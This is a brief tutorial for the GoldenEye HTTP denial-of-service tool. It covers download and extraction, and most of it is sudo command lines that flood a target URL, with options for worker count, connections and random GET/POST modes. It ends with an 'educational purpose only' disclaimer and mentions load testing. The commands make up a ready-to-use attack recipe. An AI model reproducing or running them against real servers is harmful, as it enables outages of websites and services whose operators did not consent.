Golden Eye DDoS Tool: Installation and Tool usage with examples
GoldenEye is one of the popular HTTP Denial Of Service Tools. It uses KeepAlive (and Connection: keep-alive) paired with Cache-Control options to persist socket connection busting through caching (when possible) until it consumes all available sockets HTTP/S server.
This tool can be used for Load Testing and testing of Network devices.
Click on the Download button to download the tool
Zip files generally downloaded in the directory Downloads
Extract files from GoldenEye-master.zip
Check extracted files
#cd GoldenEye-master #ls
Right-click in the directory GoldenEye-master and click Open in Terminal.
1. To display all usage options
#sudo ./goldeneye.py -h
2. To send traffic to the target machine
#sudo ./goldeneye.py <url> #sudo ./goldeneye.py http://192.168.0.233:80/ #sudo ./goldeneye.py http://www.testurl.com
Use Ctrl + C to end attack
You can use the Wireshark tool to capture traffic
3. To send traffic of mode ‘random’ (both GET and POST Request) of 5 workers to the target machine
#sudo ./goldeneye.py http://192.168.0.233:80/ -w 5 -m random
4. To send traffic in ‘random’ mode with 10 workers running 5 connections each
#sudo ./goldeneye.py http://192.168.0.233:80/ -s 5 -m random
Similarly, you can use other options to control network traffic.
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Disclaimer: This tutorial is for educational purpose only. Individual is solely responsible for any illegal act.